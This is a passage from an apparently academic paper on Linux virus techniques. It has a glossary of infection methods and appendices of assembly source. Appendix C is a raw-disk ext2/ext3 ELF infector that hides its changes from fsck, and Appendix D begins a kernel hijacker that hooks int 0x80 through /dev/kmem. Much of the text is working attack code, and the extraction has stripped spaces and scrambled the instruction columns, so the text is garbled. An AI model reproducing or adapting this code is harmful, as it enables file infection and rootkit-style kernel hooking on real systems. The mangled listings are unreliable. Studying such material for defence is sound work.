Boot/MBRvirus:TheinfectionofbootsectorsandtheMBRwascommonwiththeDOS operatingsystem,butithasstoppedeversince.Indiskettes,itusuallymeantthattheviruscopied itselftothebootsectorandstoredtheoriginaloneinasectoritwouldmarkascorrupted.Inhard disks,therewereusuallyunusedsectorstobeused. WheninfectingMBRs,thisusuallybroughtanotherproblemtotheuseraffectedbyavirus, sinceitwasn'tpossibletoaccesstheharddiskafterbootingfromacleandiskette(whichwasthe usualadviceantiviruscompaniesgave),sincethepartitiontable,whichisstoredatoffset0x1b0in theMBR,wasalsomovedfromitsplace.Thisalsomeantthattheusualtacticonusingthe"FDISK /MBR"commandontheharddiskwasaverybadidea,sinceitonlyrestoredthebootcodebut didn'toverwritethepartitiontable;asaresult,theharddiskwon'tbootanymore,noritcouldbe externallyaccessed.

Cavity:Infectionmethodwhichcopiesthevirusintoanuselessoratleastnoncriticalzone

ofafile,sothatthefilelengthremainsthesame.ALinuxexampleisthevirus"Linux.LoTeK", whichcopiesitselfintotheELF.notessection.So,ifanuninfectedfilewhichentrypointinthe headerpointsto"[Start:]"lookslikethis:

Header

[Start:]Code,Data,etc{useless}

Thenthisfileinfectedbyacavityviruswouldhaveitsentrypointintheheaderpointingto the"useless"part,whichwouldbepartially(orcompletely)overwrittenbythevirus:

Header

[Start:]Code,Data,etc{[virus]eless}

Companion:Atechniquewhichisbarelyusednowadays,companionvirusesdojust renametheoriginalfileswithafixedconventionandoccupytheirplace,executingsuchfilesafter theirownexecution.InaLinuxcontext,aviruscouldrename/bin/gzipto/bin/.gzipandspawna copyofitselfcalled/bin/gzip,callingexecve()on/bin/.gzipafterithasfinishedinfectingother files.

DirectAction:Avirusisconsideredtobe"directaction"whenitsinfectionroutineis executedinthecontextoftheinfectedfile,withoutanykindofperprocessorkernelmemory residenceinvolved.Thisusuallymeansthatinaninfectedfilethevirusisexecutedfirst,attacks files,andthenstartstoexecutetheoriginalhost,butaswecanseeinsomeLinuxvirusexamples, sometimesthevirusforksitselfasachildandexecutesfilesearchandinfectionconcurrentlywith theparentprocessreturningtothehostfileanddoingitsjob.

EPO,EntryPointObscuring:Thisisatechniquewhichcanbeappliedindifferentforms andconsistsonhidingtheentrypointmodificationbywhichvirusesusuallytakecontrolofafile. Oftenthisisdonethroughchanginga"jmp"or"call"address,orbysimplysubstitutingoneofthe firstcodeinstructionsbyajumporcall.Afterthevirusisexecuted,isreplacesthejumporcallin memorywithitscorrectopcodes,andjumpsback. Themostcompleximplementationsofthistechniquehavebeenprogrammedthroughcode emulators,whichrandomlytraceafewinstructionsandsearchforonebigenoughtobesubstituted; thisofcoursealsomeansthatitisespeciallyimportantthatthevirusreturnscontroltothehost takingspecialcaretosaveandrestoreeveryprocessorregisterincludingflags,stackcontentsand genericmachinestatus,soasnottodisturbthecorrectfunctioningofthehostprogramthroughthis "inserting"technique.

Encryption:Thoughsomeviruswritershavedevelopedcomplexencryptiontechniques, usuallyvirusesjustrelayonXORencryptionsusingakeywhichchangeseveryinfection.Thisis usuallymeanttohideanytextinsidethevirusfromsimplevisualinspections,andtomakeitharder fortheantivirusprogrammertodetectthevirusthroughtheuseofknownstrings.Usuallythe reasonwhysuchasimpleencryptionmethodisusedandnoeffortsaredonetostrenghten encryptionisthatthekeyhastobeavailableandunencrypted,soitwouldbeeasilyaccessedbyany observer,anyway. However,thisbasictechniqueissometimescombinedwithamuchmorepowerful development,calledpolymorphism.Thenagain,thisreinforceschoosinganencryptiontechniqueas XOR:inordertohideandmixdecryptioninstructions,thelessinstructionsareneededtodecrypt theviruscodetheeasiertoconceal.

Host:Asinitsbiologicalcounterpart,hostisanameusedtodesignateaninfectedfilefrom thevirusperspective.

Inserting:Infectiontechniqueinwhichthevirusiscopiedtoazoneofthefilewhichisn't thebeginning(prepending),northeend(appending).Usuallytheoriginalhostcodeiscopiedtothe endofthefile,thoughsomevariantswhichincludecompressingthiscodecouldbeused.Mostof thevirusesinLinuxcouldbeconsideredas"inserting". Asagraphicalexample,ifwehadthisexecutablefilewithitsentrypointvalueintheheader pointingto[Start:] Header [Start:]Code,Data,etc

Thenaninfectedfilecouldlooklikethis: Header Virus Code,Data,etc [Start:]

Ofcourse,theentrypointintheheaderwouldnotbechanged,sinceitalreadypointstothe viruscode.Inordertoexecutetheotiginalhostcodeinitsproperplace,avarietyoftacticscanbe used;though,themostusualisexecutingthelastpartoftheviruscodeinthestack,sothatthe originalcodecanbecopiedtoitsplaceintheprocessmemory.

Metamorphism:Thetechniqueknownasmetamorphismisanextremelycomplex developmentwhichfollowedpolymorphism.Inthebeginning,inyear2000twoviruses (Win95.GhostandWin95.Smash)featured"permutations",whichmeantthattheyhadtheabilityto splittheircodeintoblocksandchangetheorderinwhichtheyappearedonanyinfectioniteration. Thiswasfollowedbywaymorecomplicatedschemeswhichhaveendedupinwhatisnow knownasmetamorphism.Thesevirusesgenerateagaintheirowncodeoneachinfection,adding junkcodeinbetweentheirlegitcode,andpermutatingblocksofsuchcode.Themechanismis sometimesascomplexasintheMetaphorvirus(thataffectsbothWindoswandLinux),which disassemblesitsowncodeintoacustompseudocodeandgeneratesanewassemblerlayoutforit oneachinfection.Additionally,suchcodeattemptstoobfuscatewhatthevirusdoes,operatingwith theregistersandmemorypositionsuntilthecorrectresultthevirusneedsisreached. Thoughnotashardablowaswhenpolymorphismfirstappeared,thishasbroughtalotof problemstoantiviruscompanies,whichcannotrelyonanyfixedcodestringchecksnoronany lengthparametersinordertodetectanddisinfectsuchviruses.

Multipartite:ViruswhichinfectsbothfilesandbootsectorsortheMBR.

Overwriting:Primitivevirusinfectiontechnique,whichconsistsinthevirusreproducing itselfbyoverwritingtheoriginalhostcodeinfiles,usuallyreturningtotheoperatingsystemafterit hasbeenexecuted.Suchvirusesareextremelyeasytospotsinceexecutablefilesstopworking,and theyhardlyspread.

PerProcessResidence:Techniquebywhichviruseshookdynamiclibrarycallswithina processaftertheirmaincodehasbeenexecutedandcontrolhasbeengivenbacktothehost.Ithas beenimplementedinvirusesbothforLinuxandWindowsoperatingsystems,andinLinuxitis donethroughmanipulatingthePLTandGOTprocessstructures.Asanexample,anobvioususeof thiswouldbehookingtheexecve()functionandinfectingeveryfilethatisexecutedbythecurrent process,whichincaseofashellprocesscanbeaquiteeffectivewaytoinfectthosefileswhichare usuallyexecutedbytheuser.

Polymorphism:Thiswasatechniquedevelopedintheearly90sbyabulgarianviruswriter knownas"DarkAvenger",whichsincethenhasbeenappliedtovariousotherprogrammingfields, suchlikecrackingprotectionandrandomshellcodegeneration.Whenitwasreleased,itposeda veryseriousthreattoantiviruscompanies,whichhadtoreinventthemselvesinordertodetect virusesthatimplementedthistechnique. AntivirussoftwaredetectedstandardXORencryptedvirusesbycheckingforthedecryption routine,thenusingthekeyandcheckingagaintheirstringsdatabase.Theseinstructionscouldbefor example:

mov esi, virus_start ; Assign values mov al, byte ptr [stored_key] mov ecx, virus_size loop_decrypt: xor [esi], al ; XOR over the byte at [esi] inc esi ; Affect next byte loop loop_decrypt ; Decreases ecx in 1 and jumps to loop_decrypt ; until ecx reaches 0.

However,theseinstructionscanbecodedinalotofways.Insteadof"al"youcoulduse"bl", "cl"or"dl",ordecodeitwitha16bitregisterlike"ax","bx","cx","dx""si","di"or"bp",orwith a32bitone.Otherregisterscouldbeusedinsteadof"esi",andeven"ecx"canbesubstitutedby anotherCPUregister<reg>andthe"loop"assemblerinstructionchangedwithtwoinstructions suchlikedec<reg>/jnzloop_decrypt.So,oneofthetwomainpartsofapolymorphicengineisa decryptioninstructionsgenerator,whichcombinestheseregistersrandomly. Whenavirusjustimplementssuchchanges,itisusuallycalledoligomorphic,andnot consideredtrulypolymorphic.Forittobeso,itneedsanothercomponentwhichisusuallyknownas the"garbagegenerator".Thisisaroutinewhichrandomlygeneratesinstructionsthatdonotaffect theregistersusedbythedecryptionroutine,andincomplexenginesthisevenmeanssubroutine calls,conditionaljumps,stackinstructions(iftheyleavethestackinthesamestatusitstarted), controlledmemoryreadaccesses,controlledinterruptcalls,etcetera,sincethefinalpurposeisto buildcodethatlooksas"normal"aspossible. Then,bothusefulanduselessinstructionsaremixed,usuallywithahighratioofgarbage ones.Thisway,itbecomesmuchmoredifficultforanantivirusprogramtoidentifyavirus,sinceit triestolookas"normalcode"anddifferenteachtime(astandardpolymorphicdecryptionroutine canbeabout512bytes,andsomecomplexvirusesevenusemorethanoneencryptionlevel). Partofacomplexpolymorphicdecryptorcouldlooklikethis:
xor eax,eax call @sub_1 jmp @1 @sub_1: inc eax mov ebx, [data+0x312] ret @1: mov esi, virus_start and eax, ebx jz @2 add eax, ebx @2: or ebx, esi mov edi, [data+0x1241] [...]

; Useful decryption code

Thesolutionantiviruscompaniesusuallygivetothisproblemiscodeemulation;when suspiciousthataseriesof"dumb"opcodesmayimplyagarbagegeneratorbehind,thefileis executedinacontrolledenvironment.Onceunencrypted,virusesarefinallyidentifiedthroughthe standardstringcheckingmethod.

Asafinalnote,thishasbeencounterattackedbyviruswritersintwodifferentways:either generatingantidebuggingcode(sometimesdesignedforspecificantivirusprograms),eitherbywhat isconsideredthe"nextstep",averycomplextechniquewhichstillgivesalotofproblemsto antiviruscompaniescalledmetamorphism.

Prepending:Nowadays,prependingvirusesdonotexistanymore;theirinfectionconsisted oncopyingthevirustothebeginningofthefile,whichcouldonlybedoneinheaderlessexecutable fileslike.COMinDOSoperatingsystems. Itsoperationswouldbesimilartotheinsertinglogics,andifwerepresentanuninfectedfile likethis: Code,Data,etc Thenaninfectedfilecouldlooklikethis,withthecodewhichwasatthebeginningcopiedat theend: [Virus]Code,Data,etc Code(moved)

Asintheinsertingcase,afterexecutiontheviruswouldcopytheoriginalcodetoitsproper placeandletitexecute;thenagain,copyingitselfintothestack,jumpingthereandcopyingthe originalcodetotheplaceinthe(codesegment)memoryitwasexecutingbefore,andfinally jumpingtoit,wouldbethe"standard"waytooperate.

Stealth:Anytechniquethevirususesinordertohideitselffromdetectionbyhidingitself. Usuallythreemajordivisionsareconsidered: Memorystealth:Invirusesthatstayresident,hidingfromanycommandthatshows processesortheamountoffreememory(manipulatingthemsothatthememorydecreasedisn't displayed). Filestealth:Hidingfromsuperficialfilesizereading,bymanipulatingthesoftwarethat displayssuchsizeormoreusuallybymanipulatingthesyscallswhichretrievefilesizes.Thatisto say,ifanuninfectedfileis45.000byteslongandaninfectedfileis46.500byteslong,afilestealth couldpatcheveryaccesstosuchlength,checkisthefileisinfected,andifso,substract1.500bytes soitlooksthesameasbefore. Fullstealth:Thisisamorecomplexstealthonaccess,whichdoesnotjusthidethenew filesizebutitsverycontents.Therewerebasicallythreewaystoaccomplishthiswhenitwas implementedinDOSsystems;eitherbymanipulatingdiskaccessfromasyscalllevel(showing fakedatawhenaninfectedfileisread),orbymanipulatingdiskaccessbyhandlingahardware

interruptlevel(whichwasoftenusedtohideboot/MBRviruses),orbyan"infector/disinfector" approach,whichusuallyconsistsonpatchingthefileopenandfileclosesyscalls,disinfecting infectedfileswhentheyareopened,andinfectingthemwhentheyareclosed.

TSR(TerminateandStayResident):Thoughtheuseofthistermismostlydeprecated sincetheendoftheDOSoperatingsystem,itisstillsometimesusedtorefertovirusesthatremain inmemory(usuallykernel)afteraninfectedfilehasbeenexecuted.

Worm:Closelyrelatedtoviruses,wormsarecomputerprogramsthatreproduceamong computersbutwhichdonotneedtoattachtoafileorstaticpieceofcodetoreproducethemselves.

AppendixC

Ext_attacksourcecode

C.1.Introduction
Thefollowingcode,writtenforIntelassembler,providesamethodofmanipulationofatest fileintherootdirectoryofanext2/ext3partitioncalled"bait".Assuch,ithasbeensimplifiedin respecttowhatanoperativereadytoattackversionwhichisfunctionalforinfectionshoulddo:

Doesn'ttakeintoaccountthatthecodetoinfectcouldbelongtomorethanoneblock. Onlyinfectsthe/baitfile,whichnameishardcodedintothefile. Cannotinfectfilesbiggerthan12blocks Isnotabletoinfectfilesresidinginthebiggernodesinbigfilesystems(inwhichwefind blockgroupsandthestructuresarereplicatedineachofthem). Theactionis"dummy":whenthe"bait"fileisattacked,itjustdisplaysa"hello" message,restoresthehostcodeandexecutesitasifnothinghadhappened.

C.2.Assemblercode
; ; ; ; ; ; ; ; ; ;

Purpose: Usage: attack_ext /dev/hdxx (ext partition to attack)

nasm attack_ext.asm -f elf ld -o attack_ext attack_ext.o

BITS 32 global _start

section .data bait_inode: times 80h db 0h buffer: times 4096 db 0h buffer_virused: times 8192 db 0h block_size: inode_table: bitmap_block: temp_dword: dd dd dd dd 0h 0h 0h 0h

disp_attack: block_attack: restore_block: held buffer_infect:

dd dd dd

0h 0h 0h

; Displacement for the last four bytes ; Block in which the EP resides ; Disk block where the code to be restored is

times 1024 db 0h

; Enough space for the host code

section .text _start: ;;;;;;;;; ; ; Phase 1: Getting the / directory ; ; ; First we get argv[1], which will be the partition we want to open mov mov mov mov int eax, 5h ebx,[esp+8h] ecx, 2 edx, ecx 080h ; Open file ; Pointer to argv[1] is at [esp+8] ; R/W access

cmp eax, 0xfffff000 jna infection_cont1 jmp infection_failed infection_cont1: xchg ebx, eax mov mov xor int eax, 19 ecx, 1024 edx, edx 080h ; Lseek ; 1024 bytes from ; the disk beginning

; Now we read the superblock mov lea mov int eax, 3 ; sys_read (ebx holds the file descriptor) ecx, [buffer] edx, 1024 080h

; Check out if it is really the superblock mov cmp jz jmp ax, [buffer+038h] ax, 0ef53h infection_cont2 infection_failed

infection_cont2: ; Now that we are sure, we get the block size

mov ecx, [buffer+018h] mov eax,1024 or ecx,ecx jz block_size_complete get_block_size: add eax, eax loop get_block_size mov [block_size],eax ; Now we have the block size, and know that the filesystem descriptor is in block two ; We just have to lseek to the block size block_size_complete: mov mov xor int ecx, eax eax, 19 edx, edx 080h ; lseek there

; Read just 10h bytes mov lea mov int eax, 3 ; sys_read ecx, [buffer] edx, 10h 080h

; Get the inode table block and the bitmap block mov mov mov mov mov xor mul push mov mov xor int mov lea mov int ecx, [buffer] ; bitmap block [bitmap_block],ecx ecx, [buffer+08h] ; inode table block [inode_table],ecx eax, [block_size] edx, edx ecx ; eax = eax * ecx eax ; inode table location ecx, eax eax, 19 edx, edx 080h eax, 3 ecx, [buffer] edx, 100h 080h ; lseek to the inode table block

; Read 100h (256) bytes from the inode table

; We just need the / entry, which is the second one. In offset 18h ; we have the block number of the root directory. mov mov xor mul mov ecx, [buffer + 0a8h] eax, [block_size] edx, edx ecx ecx, eax ; Lseek to the / directory

mov xor int mov lea mov int

eax, 19 edx, edx 080h eax, 3 ecx, [buffer] edx, [block_size] 080h

; Read the whole block

;;;;;;;;; ; ; Phase 2: Getting the /bait file ; xor esi,esi ; edx = 0, it will be used as a pointer check_entry_bait: cmp dword [buffer+esi+8],'bait' ; is it our bait file? jz weve_got_it movzx eax, word [buffer+esi+4] ; entry size add esi,eax jmp check_entry_bait weve_got_it: push dword [buffer+esi] ; 'bait' inode push ebx ; file descriptor from /dev/something mov mov lea mov int pop pop dec mov xor mul pop add eax, ebx, ecx, edx, 080h 4h ; sys_write 1 ; (into screen! file descriptor = 1) [Found_bait] ; Where to write from 18 ; number of bytes to write

ebx eax eax ecx, 80h edx, edx ecx ecx ecx, eax

; /bait inode ; Entry ; EAX = offset from the inode_table beginning ; inode_table location pushed before ; entry

xor mov int mov lea mov int

edx, edx eax, 19 080h

; lseek to it

eax, 3h ; Read the inode information ecx, [bait_inode] edx, 80h 80h

;;;;;;;;; ; ; Phase 3: Infecting the /bait file ;

mov mov xor mul mov mov xor int mov lea mov int

ecx, eax, edx, ecx ecx, eax, edx, 080h

[bait_inode + 28h] [block_size] edx eax 19 edx

; First block

; Lseek to the block

eax, 3 ecx, [buffer] edx, [block_size] 080h

; Read <block_size> bytes

; Ok, now we've got the header of "bait" in [buffer] cmp dword [buffer], 0x464C457F "ELF") jz infection_cont_3 jmp infection_failed_2 infection_cont_3: ; Check for magic word (0x7f,

;; Now we have to retrieve the entry point and calculate its file offset. ; the entry point is in offset [018h] ; the [01Ch] holds the first PHeader offset mov mov ; ; ; ; ; ; ; ; ; ; eax, [buffer+018h] esi, [buffer+01Ch] ; Entry Point ; Program header table

To know in which segment the sector is, we have to check out two conditions: - The entry point is bigger than the virtual address of the segment - The (entry point - virtual address of segment) < virtual size of the segment VAddress is at offset 08h in every segment structure, and VSize at 14h

check_segment_loop: mov ecx, eax ; Ecx = entry point sub ecx, [buffer+esi+08h] ; Ecx = (entry point - VAddress of segment) jae Cont_seg_1 fail_seg: add esi,20h jmp check_segment_loop Cont_seg_1: ; Now [buffer+esi+14h] should be bigger if cmp ecx, [buffer+esi+14h] ; the entry point is on memory ja fail_seg ; If not, check the next one Seg_found: ;; Now to get the position of the entry point in the file, through ; adding the value we have in ecx (distance from the segment start)

; to the offset of such segment add ecx, [buffer+esi+04h] execution starts ; So this is the offset where

;; The problem now is of course to locate the block in the inode table for this ; file where execution starts. ; ; ecx (offset) / block_size will give us the block number where it is ; stored ; Remember "div" needs eax = num, edx = 0, ecx = divider, and results ; eax = quotient, edx = reminder mov mov xor div ; ; ; ; ; ; ; ; eax, ecx ; offset in eax ecx, [block_size] ; will be divided by ecx edx, edx ecx

Now we have the block number in eax, and the offset within it in edx This block number of course has to be seen in the inode table! * The first 12 dword entries from 0x28 we will use if eax = { 0 .. 11 } * The 13th entry if eax is bigger In [bait_inode] we have it stored push edx cmp jbe eax, 11 easy_get ; Save reminder

; IF it is in the first 12 blocks...

;; This should be changed if we wanted a bigger file jmp infection_failed_4 easy_get: rol mov mov xor mul mov eax, ecx, eax, edx, ecx ecx, 2 ; Amount * 4 to get the correct pointer [bait_inode+0x28+eax] ; We have our pointer here [block_size] edx ; eax = eax:edx * ecx eax

; ECX IS THE BLOCK WHERE WE HAVE THE ENTRY POINT push ecx mov xor int mov lea mov int eax, 19 edx, edx 080h eax, 3 ecx, [buffer] edx, [block_size] 080h ; lseek to that block

; sys_read ; to buffer ; the size of a block

we_have_it: pop ecx ; retrieve the block offset mov [block_attack], ecx mov eax, 19 ; lseek to it again xor edx, edx int 080h

pop edx

; offset within block

; We save into buffer_infect the host code mov add lea lea rep ecx, Infect_Ends - Infect_Starts ecx,10+4 ; Space for the /dev/stuff and for ; the block identifier esi, [buffer+edx] edi, [buffer_infect] movsb ;; ESI = last position, EDI = beginning of block edi, [buffer] esi, edi ; Save the current displacement, as later ; we'll have to write the block number [disp_attack],esi ; of the original host code

lea sub mov

lea mov lea rep mov mov rep mov lea mov int cmp jna jmp

edi, [buffer+edx] ecx, Infect_Ends - Infect_Starts esi, [Infect_Starts] movsb ; COPY OUR CODE INTO THE FILE ecx, 10 esi, [esp+8h] movsb eax, 4h ; sys_write ecx, [buffer] ; the whole buffer edx, dword [block_size] ; with block_size length 080h eax, 0xfffff000 cont_not_failed infection_failed

cont_not_failed:

; Now we get the first empty block in the bitmap block, ;to mark it as used mov mov ecx, [bitmap_block] eax, [block_size]

xor mul

edx, edx ecx eax eax 19 edx 080h

; eax = eax * ecx ; Save the resuts, it will be used later ; lseek to the bitmap block

push mov ecx, mov eax, xor edx, int mov lea mov int

eax, 3 ; sys_read the whole bitmap block ecx, [buffer] edx, dword [block_size] 080h

xor esi, esi check_next_bit: bt jnc dword [buffer],esi ; Bit test over it found_empty_block ; Carry set if buffer+bit sized ; ESI is equal to 1 esi check_next_bit

inc jmp

found_empty_block: bts pop mov xor int mov lea mov int dword [buffer],esi ; We set this bit to 1 ecx ; ECX holds the bitmap block offset in disk eax, 19 ; So we lseek again to it edx, edx ; sys_lseek 080h eax, 4h ecx, [buffer] edx, dword [block_size] 080h ; sys_write ; the whole buffer ; with block_size length

mov mov xor mul mov push mov xor int mov buffer lea mov int

; We need to go to the first inode (bad blocks!) ecx, [inode_table] eax, [block_size] edx, edx ecx ; eax = eax * ecx ecx,eax ; Now ecx is the inode table block offset in disk ecx ; save it eax,19 edx,edx 080h ; So, we lseek to it eax,3 ecx,[buffer] edx,[block_size] 080h ; We're only trying the first 12th entries ; From which the first is on offset 28h ; We read the inode table block in the

mov ecx, 11h mov edi, 28h find_empty_badblock:

cmp jz add loop jmp

dword [buffer+edi],0 empty_badblock_found edi, 4h ; Check the next one find_empty_badblock infection_failed_3

empty_badblock_found: mov pop mov xor int mov lea mov int [buffer+edi], esi ; We put the block number we had in esi here ecx eax,19 edx,edx 080h ; Here we stored the disk offset to the inode table

; We move offset again to the inode table

eax, 4h ; New data is written }=) ecx, [buffer] edx, dword [block_size] 080h

;;;;;;;;;;;; ; Now we have to write the data into the ESI block ; An additional problem is the number of free blocks. These ; should be adjusted so fsck remains silent, both in the ; superblock and in the free blocks count. mov mov xor int mov lea mov int mov mov xor int dec mov lea mov int eax,19 ecx,1024+0ch edx,edx 080h ; We lseek to the superblock free blocks count

eax,3 ecx, [temp_dword] edx,4 080h

; We read these four bytes

eax,19 ; lseek again to the superblock free blocks count ecx,1024+0ch edx,edx 080h dword [temp_dword] ; Write modified value eax, 4 ecx, [temp_dword] edx, 4 080h ; sys_write

; Now to the filesystem description!!! ; As it is always in the first block, we just lseek to the ; block_size + 0Ch, which holds the free blocks *in this group* ; (consider the hack on that we just consider ;the first block). mov mov eax,19 ; We lseek to the superblock free blocks count ecx,dword [block_size]

add push xor int mov lea mov int

ecx,0ch ecx edx,edx 080h eax,3 ecx, [temp_dword] edx,4 080h

; We read these four bytes

mov pop xor int dec mov lea mov int

; lseek again to the filesys description from this block eax,19 ecx edx,edx 080h dword [temp_dword] ; Write modified value eax, 4 ecx, [temp_dword] edx, 4 080h ; sys_write

;;;;;;; ; mov ecx, Infect_Ends - Infect_Starts ; ; Now the host code should be written in this block we've just allocated. ; We have the block number in ESI ; mov mov xor mul mov mov mov xor int mov lea mov add int ecx, esi eax, [block_size] edx, edx ecx ; eax = eax * ecx = block offset ecx, eax [restore_block],eax eax,19 edx,edx 080h ; lseek to our free block eax, ecx, edx, edx, 080h 4 ; sys_write [buffer_infect] ; saved host code Infect_Ends - Infect_Starts ; same length as original 14 ; Plus a bit more, /dev/whatever and the ; pointer to this block

; FIX the problems in infected place mov mov add sub xor eax,19 ecx,[block_attack] ; Block in which the EP is ecx,[disp_attack] ; Displacement to last written bytes ecx,4 ; +10 respect to the end, in our 4 byte hole edx,edx

int mov lea mov int

080h eax,4 ecx, [restore_block] edx,4 080h

jmp

goodbye

infection_failed_4: mov mov lea mov int jmp eax, 4h ; sys_write ebx, 1 ; (into screen! file descriptor = 1) ecx, [Failed_TooBig] ; Where to write from edx, 51 ; number of bytes to write 080h goodbye

infection_failed_3: mov mov lea mov int jmp eax, 4h ; sys_write ebx, 1 ; (into screen! file descriptor = 1) ecx, [Failed_Block] ; Where to write from edx, 51 ; number of bytes to write 080h goodbye

infection_failed_2: mov mov lea mov int jmp eax, 4h ; sys_write ebx, 1 ; (into screen! file descriptor = 1) ecx, [Failed_ELF] ; Where to write from edx, 51 ; number of bytes to write 080h goodbye

infection_failed: mov mov lea mov int eax, ebx, ecx, edx, 080h 4h 1 [Failed] 50 ; ; ; ; sys_write (into screen! file descriptor = 1) Where to write from number of bytes to write

goodbye: ; Say goodbye mov eax,1 int 080h

Failed: db 'Infection aborted: unable to assault filesystem!', 0dh, 0ah,0 Failed_ELF: db 'Infection aborted: file /bait is not an ELF file!', 0dh, 0ah,0 Failed_TooBig: db 'Infection aborted: file /bait is too big', 0dh, 0ah,0 Failed_Block: db 'Infection aborted: No bad blocks found to store data', 0dh, 0ah,0 Found_bait: db '/bait file found',0dh,0ah,0

;; HERE we have what is to be copied Infect_Starts: call delta delta: pop ebp sub ebp,delta mov mov lea mov int eax, ebx, ecx, edx, 080h 4h ; sys_write 1 ; (into screen! file descriptor = 1) [Message+ebp] ; Where to write from 8 ; number of bytes to write

mov lea and mov mov int

eax, ebx, ebx, ecx, edx, 080h

125 ; sys_mprotect [Infect_Starts+ebp] 0xfffff000 ; ebx = page-aligned start of memory region 0x1000 ; ecx = page-aligned size of memory region 7 ; change permissions to rwx

mov lea xor mov int xchg

eax, ebx, ecx, edx, 080h

5h ; Open file [Open_This+ebp] ecx 0400h ebx, eax ; Put the file descriptor in ebx

; Now this is opened, we copy ourselves to stack,... ; Here we're executing on the stack mov mov xor int eax, 19 ; Read our place :D ecx, dword [ebp+Open_This+10] ; sector! edx, edx 080h

mov sub

ecx, (Infect_Ends - Infect_Starts) esp, ecx

lea mov rep mov add jmp ret_code:

esi, [Infect_Starts+ebp] edi, esp movsb ; Copy ecx bytes (this) to the stack eax, esp eax, (ret_code - Infect_Starts) eax

mov eax, 3 ; sys_read lea ecx, [ebp+Infect_Starts] mov edx, (Infect_Ends - Infect_Starts) + 10 + 4 int 080h jmp ecx abort: ; Say goodbye mov eax,1 int 080h Message: db

'Hello!',0dh,0ah

Open_This: ; Empty (since /dev/whatever will be copied here) Infect_Ends:

AppendixD

Hijacksourcecode

D.1.Introduction
Thefollowingcode,writtenfori386assemblerandtestedinkernel2.4.21,willloadintothe kernelaprogramwhichwill:

Printamessageeachtimeafileisexecuted Decreaseallfilesizesby100byteswhenshownthrough"ls"

Thoughitisn'tdangerousatalltoexecutethiscodeanditwillbebanishedassoonasthe computerisrestarted,itisrecommendedtorestartthecomputeraftertestingit,andnotusing criticalsoftwarewhichmightbeaffectedbythemanipulationofthesys_execveandsys_lseek64 calls. Problemswhichmayarisearearchivecorruptionwhendifferingsizesareapplied,and problemsontryingtoexecuteasmallrangeofprogramsduetotheintraint80husagetoprintatext insys_execve. Itcouldbethecasethatthekmalloc()callneedstotakeadifferentGFP_KERNELvalue, thoughIhavetriedtomakeitthemostgenericIcould;thevaluewhichisusedhereis0xd0,andthe correctvalueforeachkernelimplementationcanbecheckedin/usr/include/linux/gfp.h.The GFP_KERNELvalueitselfisamaskwhichincludesGFP_WAIT(sothatthekernelwaitsifitdoes nothaveanyplaceavailablebeforethecallreturns),andGFP_IO/GFP_FS(sothatthekernelis allowedtousethefilesystemtobringafreepageusingvirtualmemory)

D.2.Assemblercode
; ; ; ; ; ; ; ;

Compilation ----------nasm hijacker.asm -o hijacker.vir -f elf gcc -Wall -g -s hijacker.vir -o hijacker.exec

BITS 32 GLOBAL main SECTION .text virus_start: main: pushad call delta_offset delta_offset: pop ebp sub ebp,delta_offset ; Mprotect this page for rwx mov eax, 125 ; sys_mprotect lea ebx, [main] ; beginning add ebx, ebp ; adjust to current relative position and ebx,0fffff000h ; page aligned beginning mov ecx,1000h ; 4096 would be enough mov edx,7 ; rwx int 80h

; We check if the virus is already loaded in kernel memory mov mov int sub jnz jmp eax,11 ; syscall execve ecx,0x12341234 80h ebx,0x43214321 not_in_memory return_to_host

not_in_memory: ;; We need to be root mov int or jz jmp got_root: eax, 199 080h eax, eax got_root not_root ; sys_getuid

;; ;; ;; ;; ;; ;; ;;

--------------------------------------------------------------------------------------------------------------------------------------PHASE 1 -- Retrieving kmalloc() and sys_call_table --------------------------------------------------------------------------------------------------------------------------------------; ; The first aim is retrieving the address of kmalloc() and the ; sys_call_table from the /proc/ksyms file.

mov lea mov mov int xchg

eax, 5 ebx, [ksyms+ebp] ecx, 0 edx, 2 080h ebx,eax

; sys_open ; We open /proc/ksyms ;

; Since this is a length 0 file we cannot memory map it, so ;searching for the exported functions turns a bit weird having to ;deal with pointers. However, one sequential read is enough sub NewLine: mov lea mov int cmp jnz esp, 20 ; We will use the stack as a buffer

eax,3 ; Read 1 byte from /proc/ksyms ecx,[buf1+ebp] edx,1 080h byte [buf1+ebp],0Ah ; New line? NewLine

; Now we check the new line mov lea mov int cmp jne cmp jne eax,3 ecx,[esp] edx,17 080h ; We now read 17 bytes from the new line, enough to ; identify the 8 first bytes of the function

dword [esp+9],'kmal' ; __ge, kmal NewLine dword [esp+13],'loc_' ; t_fr, loc_ NewLine

; If we got here, we have it :))

; Now we have to convert the number in chars to an integer push ebx

; DEBUG CODE: Print the address of kmalloc() mov eax,4 mov ebx,1

lea mov int

ecx, [esp+4] edx,8 080h

lea ebx,[esp+4] ; Pointer to number call convert_char_to_hex ; We build a dword from this address mov dword [kmalloc+ebp],edx pop ebx

;; -----------------------------------------------------------;; Locating sys_call_table_ ;; ------------------------------------------------------------

;; SAME FOR sys_call_table_ mov xor xor int NewLine2: mov lea mov int cmp jnz eax,19 ; Lseek to the beginning edx, edx ecx, ecx 080h

eax,3 ; Read 1 byte from /proc/ksyms ecx,[buf1+ebp] edx,1 080h byte [buf1+ebp],0Ah ; New line? NewLine2

; Now we check the new line mov lea mov int cmp jne cmp jne eax,3 ecx,[esp] edx,17 080h ; We now read 17 bytes from the new line, enough ; to identify the 8 first bytes of the function

dword [esp+9],'sys_' NewLine2 dword [esp+13],'call' NewLine2

; If we got here, we have it :)) mov int eax,6 080h ; We close /proc/ksyms

; DEBUG: Print the string that has just been red mov eax,4 mov ebx,1 lea ecx, [esp] mov edx,8 int 080h

; Now we have to convert the number in chars to an integer lea ebx,[esp] ; Pointer to number call convert_char_to_hex mov dword [sys_call_table+ebp],edx add esp, 20 ; We restore the stack

;; ;; ;; ;; ;; ;; ;;

--------------------------------------------------------------------------------------------------------------------------------------PHASE 2 -- Make the int 80h point to our own code through /dev/kmem ---------------------------------------------------------------------------------------------------------------------------------------

;; -----------------------------------------------------------;; Now, we can proceed with /dev/kmem ;; -----------------------------------------------------------; We open the /dev/kmem file mov lea mov mov int xchg sidt eax, ebx, ecx, edx, 080h ebx, 5 [devkmem+ebp] 2 ecx eax [descivt+ebp] ; We store the IVT offset ; open file ; /dev/kmem file

; Lseek to the table mov xor mov add int push eax,19 ; Lseek (ebx = handler) edx, edx ecx,[descivt+ebp+2] ecx, (0x80*8) ; Now get the int 0x80h 080h ecx ; Save ecx pointer

; Read from the table mov lea mov int eax,3 ;(ebx = handler) ecx,[int80vector+ebp] edx,8 080h

; int80vector = OLD_int80h_address

